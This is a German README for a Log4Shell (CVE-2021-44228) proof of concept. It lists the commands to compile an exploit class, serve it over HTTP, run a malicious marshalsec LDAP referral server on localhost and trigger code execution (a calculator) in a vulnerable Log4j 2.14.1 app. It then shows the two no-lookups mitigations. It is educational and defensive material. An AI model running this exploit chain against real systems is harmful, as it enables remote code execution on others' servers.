
CVE-2021-44228 (Log4Shell) Proof of Concept

Die in Konfiguration, Protokollmeldungen und Parametern verwendeten JNDI-Funktionen von Apache Log4j2 <=2.14.1 schützen nicht vor Angreifer-kontrollierten LDAP- und anderen JNDI-bezogenen Endpunkten. Ein Angreifer, der Protokollmeldungen oder Parameter von Protokollmeldungen kontrollieren kann, kann beliebigen, von LDAP-Servern geladenen Code ausführen, wenn die Nachrichten-Lookup-Ersetzung aktiviert ist.
Um Kunden zu helfen, zu verstehen, wie dieser Fehler funktioniert, haben wir dieses Repository mit einem einfachen, aber funktionierenden Proof of Concept vorbereitet.
Lokal müssen installiert sein:
Derzeit startet der beliebige Code die Calculator-Anwendung auf macOS oder Windows, daher werden von diesem PoC nur diese beiden Betriebssysteme unterstützt.
Alle Informationen und Codes werden ausschließlich zu Bildungszwecken und/oder zum Testen eigener Systeme auf diese Schwachstelle bereitgestellt.
Dieser PoC ähnelt dem unten im Bild beschriebenen (Credit: GovCERT.ch), abgesehen von dem verwundbaren Server, der der Einfachheit halber nur eine einfache Java-Klasse ist. Es ist wichtig zu verstehen, dass diese Schwachstelle auf verschiedene Weise ausgelöst werden kann; das unten Beschriebene ist nur eine davon.

Klonen Sie dieses Repository
terminal1 $ git clone https://github.com/sunnyvale-it/CVE-2021-44228-PoC.git
Kompilieren Sie den Exploit (mit JDK 11)
terminal1 $ javac Exploit.java
Starten Sie einen HTTP-Server, der den Exploit bereitstellt
terminal1 $ python -m SimpleHTTPServer 8888 --directory .
Starten Sie den bösartigen LDAPRefServer (Dank an https://github.com/mbechler/marshalsec)
terminal2 $ java -cp tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
Starten Sie die fehlerhafte Anwendung (die Log4j 2.14.1 enthält)
terminal3 $ mvn package && mvn exec:exec
Wenn alles gut gegangen ist, sollte die Calculator-Anwendung (beliebige Codeausführung) erscheinen

terminal3 $ export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
terminal3 $ mvn package && mvn exec:exec
In diesem Fall sollte die Calculator-Anwendung nicht mehr erscheinen
terminal3 $ mvn package && mvn exec:exec -Dlog4j2.formatMsgNoLookups=true
In diesem Fall sollte die Calculator-Anwendung nicht mehr erscheinen